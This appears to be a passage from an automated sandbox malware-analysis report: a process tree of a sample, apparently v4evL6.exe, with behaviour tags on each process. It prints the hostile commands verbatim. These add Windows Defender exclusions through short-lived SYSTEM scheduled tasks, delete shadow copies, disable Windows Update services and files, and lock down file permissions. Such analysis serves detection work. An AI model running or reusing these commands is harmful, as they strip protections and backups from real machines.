- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\Buescp\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5092
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2160
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1108
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:6124
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2960
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4032
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3692
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3184
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1120
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:804
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1132
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3220
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4008
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4412
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3980
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3824
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5080
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2000
- C:\Program Files (x86)\v4evL6\v4evL6.exe
  "C:\Program Files (x86)\v4evL6\v4evL6.exe"
  2⤵
  - UAC bypass
  - Drops file in Drivers directory
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in Program Files directory
  - Event Triggered Execution: Screensaver
  - Checks processor information in registry
  - Modifies Control Panel
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:3356
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:2460
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\v4evL6" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4384
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\v4evL6" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4716
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4076
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1196
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:492
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4452
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:5464
  - - C:\Windows\SysWOW64\sc.exe
      sc failure wuauserv reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:5368
  - - C:\Windows\SysWOW64\net.exe
      net stop UsoSvc
      4⤵
      Suspicious use of WriteProcessMemory
      PID:176
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop UsoSvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4804
  - - C:\Windows\SysWOW64\sc.exe
      sc config UsoSvc start= disabled
      4⤵
      Launches sc.exe
      PID:5732
  - - C:\Windows\SysWOW64\sc.exe
      sc failure UsoSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:5972
  - - C:\Windows\SysWOW64\net.exe
      net stop uhssvc
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2960
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop uhssvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2160
  - - C:\Windows\SysWOW64\sc.exe
      sc config uhssvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:652
  - - C:\Windows\SysWOW64\sc.exe
      sc failure uhssvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:6112
  - - C:\Windows\SysWOW64\net.exe
      net stop WaaSMedicSvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:412
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop WaaSMedicSvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3800
  - - C:\Windows\SysWOW64\sc.exe
      sc config WaaSMedicSvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:3284
  - - C:\Windows\SysWOW64\sc.exe
      sc failure WaaSMedicSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:1324
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\WaaSMedicSvc.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:792
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4068
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:3220
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3960
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\wuaueng.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:3512
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3024
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4988
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2236
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:4036
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:3948
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:4608
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4392
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\v4evL6\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2836
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\v4evL6\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:4644
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2752
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:5688
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:5304
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3964
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:404
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:5728
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\v4evL6" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5188
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\v4evL6" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4584
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\v4evL6" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5472
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\v4evL6" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5364
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5412
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:5344
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5760
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:5508
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\v4evL6\v4evL6.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2892
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\v4evL6\v4evL6.exe" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4820
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:5768
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:4340
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5008
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:3324
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\v4evL6\v4evL6.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5776
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\v4evL6\v4evL6.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3828
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:6084
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:2560
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:6116
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:3184
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\v4evL6\v4evL6.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:2252
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\v4evL6\v4evL6.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:780
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\v4evL6\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1544
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\v4evL6\image.png" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1528
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\v4evL6\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:5240
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\v4evL6\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4824
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\v4evL6\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3840
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\v4evL6\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1760
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\v4evL6\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:2904
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\v4evL6\thumbs.db" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2020
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\v4evL6\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4756
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\v4evL6\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3472
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\v4evL6\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:1956
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\v4evL6\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1332
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\v4evL6\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3932
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\v4evL6\XPSPLOG.dll" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:456
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\v4evL6\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:2456
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\v4evL6\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3156
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\v4evL6\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:3364
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\v4evL6\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5680

C:\Users\Public\Buescp\JrDbHS.exe
"C:\Users\Public\Buescp\JrDbHS.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5076

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2080
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4376

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:872

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
